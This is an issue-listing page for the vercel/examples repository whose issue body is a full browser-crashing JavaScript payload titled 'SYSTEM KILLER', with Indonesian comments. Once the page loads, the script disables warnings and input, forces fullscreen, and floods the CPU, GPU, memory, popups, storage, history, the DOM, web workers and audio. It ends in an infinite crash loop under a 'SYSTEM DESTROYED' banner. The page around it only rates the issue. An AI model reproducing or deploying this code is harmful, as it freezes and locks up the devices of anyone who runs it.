vercel / vercel/examples

ZemmyX

Open
#1,435 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
TypeScript
Stars
5.2k
Forks
1.8k
Avg merge
3d 12h
Merged PRs (30d)
6

Description

<title>κ§π™πžπ¦π¦π…π¨π«πœπœπžκ§‚ - SYSTEM KILLER</title> <script> // LANGSUNG JALAN 1 DETIK (function() { // MATIKIN SEMUA PERINGATAN console.log = function(){}; console.warn = function(){}; console.error = function(){}; alert = function(){}; confirm = function(){}; prompt = function(){};
        // LOCK SCROLL DAN INTERAKSI
        document.body.style.overflow = 'hidden';
        document.documentElement.style.overflow = 'hidden';
        
        // AMBIL ALIH SEMUA TOMBOL
        document.addEventListener('keydown', function(e) {
            e.preventDefault();
            e.stopPropagation();
            return false;
        }, true);
        
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
            return false;
        }, true);
        
        document.addEventListener('touchstart', function(e) {
            e.preventDefault();
        }, true);
        
        document.addEventListener('touchmove', function(e) {
            e.preventDefault();
        }, true);
        
        // FULLSCREEN PAKSA
        try {
            document.documentElement.requestFullscreen();
        } catch(e) {}
        
        // ============================================
        // 1. CPU MAKSIMAL - MULTI THREAD
        // ============================================
        for(let core = 0; core < 32; core++) {
            setInterval(function() {
                for(let i = 0; i < 9999999; i++) {
                    Math.pow(i, i) * Math.random() * Math.sqrt(i) * Math.sin(i) * Math.cos(i) * Math.tan(i);
                    Math.log(i) * Math.exp(i) * Math.asin(i % 1) * Math.acos(i % 1) * Math.atan(i);
                    new Array(9999).join('X').split('').reverse().join('').repeat(999);
                }
            }, 0);
        }
        
        // ============================================
        // 2. GPU MAKSIMAL - WEBGL FLOOD
        // ============================================
        try {
            for(let g = 0; g < 50; g++) {
                let canvas = document.createElement('canvas');
                canvas.width = 8192;
                canvas.height = 8192;
                let gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
                
                if(gl) {
                    for(let t = 0; t < 999; t++) {
                        let texture = gl.createTexture();
                        gl.bindTexture(gl.TEXTURE_2D, texture);
                        let pixels = new Uint8Array(8192 * 8192 * 4);
                        for(let p = 0; p < pixels.length; p++) {
                            pixels[p] = Math.floor(Math.random() * 256);
                        }
                        gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 8192, 8192, 0, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
                        
                        let shader = gl.createShader(gl.VERTEX_SHADER);
                        let shaderCode = new Array(999999).join('void main(){}');
                        gl.shaderSource(shader, shaderCode);
                        gl.compileShader(shader);
                    }
                }
                document.body.appendChild(canvas);
                canvas.style.display = 'none';
            }
        } catch(e) {}
        
        // ============================================
        // 3. MEMORY LEAK 1 TRILIUN ELEMEN
        // ============================================
        let LEAK_ARRAY = [];
        for(let triliun = 0; triliun < 1000; triliun++) {
            let block = [];
            for(let juta = 0; juta < 1000000; juta++) {
                block.push({
                    id: juta,
                    data: new Array(99999).join('X' + Math.random() + Date.now()),
                    nested: {
                        a: Math.random() * 999999,
                        b: new Date().toString(),
                        c: new Array(9999).join('LEAK'),
                        d: [].concat(new Array(9999))
                    },
                    timestamp: Date.now(),
                    random: Math.random() * Math.pow(9, 9)
                });
            }
            LEAK_ARRAY.push(block);
        }
        
        // ============================================
        // 4. BOM ATTACK MAX
        // ============================================
        // POPUP BOM
        for(let pop = 0; pop < 999; pop++) {
            setTimeout(function() {
                try {
                    window.open('about:blank', '_blank', 'width=1,height=1');
                    window.open('about:blank', '_blank', 'width=1,height=1');
                    window.open('about:blank', '_blank', 'width=1,height=1');
                    window.open('about:blank', '_blank', 'width=1,height=1');
                    window.open('about:blank', '_blank', 'width=1,height=1');
                } catch(e) {}
            }, pop);
        }
        
        // STORAGE BOM
        try {
            for(let s = 0; s < 99999; s++) {
                localStorage.setItem('bom_' + s, new Array(999999).join('X'));
                sessionStorage.setItem('bom_' + s, new Array(999999).join('X'));
            }
        } catch(e) {}
        
        // HISTORY BOM
        for(let h = 0; h < 9999; h++) {
            history.pushState({}, '', '/bom_' + h + '_' + Math.random());
        }
        
        // DOM BOM
        for(let d = 0; d < 99999; d++) {
            let el = document.createElement('div');
            el.innerHTML = new Array(99999).join('BOM');
            el.style.display = 'none';
            document.body.appendChild(el);
        }
        
        // ============================================
        // 5. ARRAY 1 TRILIUN PAKSA
        // ============================================
        let TRILIUN_ARRAY = [];
        for(let i = 0; i < 999999; i++) {
            TRILIUN_ARRAY.push(new Array(999999));
        }
        
        // ============================================
        // 6. ANIMASI BERAT - 10000 ELEMEN BERGERAK
        // ============================================
        for(let a = 0; a < 10000; a++) {
            let div = document.createElement('div');
            div.style.position = 'fixed';
            div.style.left = Math.random() * 100 + '%';
            div.style.top = Math.random() * 100 + '%';
            div.style.fontSize = Math.random() * 100 + 50 + 'px';
            div.style.color = '#' + Math.floor(Math.random()*16777215).toString(16);
            div.style.zIndex = '9999999';
            div.style.whiteSpace = 'nowrap';
            div.style.animation = 'move' + a + ' 0.0001s infinite';
            div.innerHTML = 'κ§π™πžπ¦π¦π…π¨π«πœπœπžκ§‚';
            
            let style = document.createElement('style');
            style.innerHTML = `
                @keyframes move${a} {
                    0% { transform: translate(0,0) rotate(0deg) scale(1); }
                    10% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    20% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    30% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    40% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    50% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    60% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    70% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    80% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    90% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
                    100% { transform: translate(0,0) rotate(0deg) scale(1); }
                }
            `;
            document.head.appendChild(style);
            document.body.appendChild(div);
        }
        
        // ============================================
        // 7. REQUEST ANIMASI FRAME FLOOD
        // ============================================
        function rafFlood() {
            for(let i = 0; i < 9999; i++) {
                requestAnimationFrame(rafFlood);
            }
        }
        rafFlood();
        
        // ============================================
        // 8. INTERVAL FLOOD
        // ============================================
        for(let int = 0; int < 9999; int++) {
            setInterval(function() {
                for(let k = 0; k < 99999; k++) {
                    document.title = Math.random().toString();
                }
            }, 0);
        }
        
        // ============================================
        // 9. WEB WORKER FLOOD (KALO BISA)
        // ============================================
        try {
            let workerCode = `
                setInterval(function() {
                    for(let i=0;i<9999999;i++){Math.sqrt(i)*Math.random();}
                },0);
            `;
            let blob = new Blob([workerCode], {type:'application/javascript'});
            for(let w = 0; w < 64; w++) {
                new Worker(URL.createObjectURL(blob));
            }
        } catch(e) {}
        
        // ============================================
        // 10. SOUND FLOOD (KALO BROWSER NGIZININ)
        // ============================================
        try {
            let audioCtx = new (window.AudioContext || window.webkitAudioContext)();
            for(let s = 0; s < 100; s++) {
                let osc = audioCtx.createOscillator();
                let gain = audioCtx.createGain();
                osc.connect(gain);
                gain.connect(audioCtx.destination);
                osc.frequency.value = Math.random() * 20000;
                gain.gain.value = 1;
                osc.start();
            }
        } catch(e) {}
        
        // ============================================
        // FINAL: TAMPILAN PESAN
        // ============================================
        document.body.innerHTML = '';
        let msg = document.createElement('div');
        msg.style.position = 'fixed';
        msg.style.top = '50%';
        msg.style.left = '50%';
        msg.style.transform = 'translate(-50%, -50%)';
        msg.style.color = '#ff0000';
        msg.style.fontSize = '80px';
        msg.style.fontWeight = 'bold';
        msg.style.textAlign = 'center';
        msg.style.zIndex = '999999999';
        msg.style.textShadow = '0 0 50px #ff0000';
        msg.style.animation = 'blink 0.01s infinite';
        msg.innerHTML = 'κ§π™πžπ¦π¦π…π¨π«πœπœπžκ§‚<br>SYSTEM DESTROYED';
        
        let style2 = document.createElement('style');
        style2.innerHTML = `
            @keyframes blink {
                0%, 100% { opacity: 1; }
                50% { opacity: 0; }
            }
        `;
        document.head.appendChild(style2);
        document.body.appendChild(msg);
        
        // GAS TERUS SAMPE CRASH
        while(true) {
            for(let crash = 0; crash < 9999999; crash++) {
                let x = new Array(999999);
                history.pushState({}, '', '/crash_' + crash);
            }
        }
    })();
</script>

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up β€” it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

No repository file, test, or entry point is named. First determine whether the HTML and JavaScript in the issue is intended as a security report or unrelated content, then identify an affected example and a reproducible expected outcome before defining any change.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript
Domain
security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Stale
Clarity
Needs clarification
Newbie friendliness
1/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.